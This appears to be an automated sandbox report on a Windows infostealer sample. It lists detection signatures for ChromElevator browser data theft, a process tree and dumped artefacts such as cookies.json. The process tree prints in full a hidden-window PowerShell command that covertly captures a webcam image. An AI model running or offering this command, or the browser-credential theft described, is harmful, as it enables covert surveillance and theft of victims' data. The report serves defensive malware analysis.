Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
13/03/2026, 04:39
General
- Target 2026-03-13_640464354fe4e5679611c483f95f7c3c_cobalt-strike_icedid_satacom_vidar.exe
- Size 111KB
- Sample260313-e9199sht8t
- SHA256 4ae933ea4c0a65ea088fe1a715f8b23eabedf8f2bb0b7d22c0e967234ad696e4
Malware Config
Signatures
- ChromElevator
ChromElevator is an open-source post-exploitation tool for stealing user data from Chromium browsers.
- Chromelevator family
- Detects ChromElevator 14 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 14 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-03-13_640464354fe4e5679611c483f95f7c3c_cobalt-strike_icedid_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-03-13_640464354fe4e5679611c483f95f7c3c_cobalt-strike_icedid_satacom_vidar.exe"1⤵
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$source = New-Object -ComObject WIA.CommonDialog;try { $dev = $source.ShowSelectDevice(2, $false, $false); if ($dev) { $img = $dev.Items[1].Transfer(); $img.SaveFile('C:\Users\Admin\AppData\Local\Temp\webcam_capture.jpg'); }} catch {}"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms;Add-Type -AssemblyName System.Drawing;$source = New-Object -ComObject WIA.CommonDialog;try { $dev = $source.ShowSelectDevice(2, $false, $false); if ($dev) { $img = $dev.Items[1].Transfer(); $img.SaveFile('C:\Users\Admin\AppData\Local\Temp\webcam_capture.jpg'); }} catch {}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_k5qivkzz.0rm.ps1
cookies.json
cookies.json
memory/3740-46-0x000002A1E5230000-0x000002A1E523C000-memory.dmp
memory/3740-40-0x000002A1FD9B0000-0x000002A1FD9D2000-memory.dmp
memory/4704-8-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-3-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-6-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-1-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-12-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-9-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-4-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-7-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-0-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-10-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-11-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-13-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-2-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-60-0x000001EEC5010000-0x000001EEC5326000-memory.dmp
memory/4704-59-0x000001EEC2970000-0x000001EEC2CC5000-memory.dmp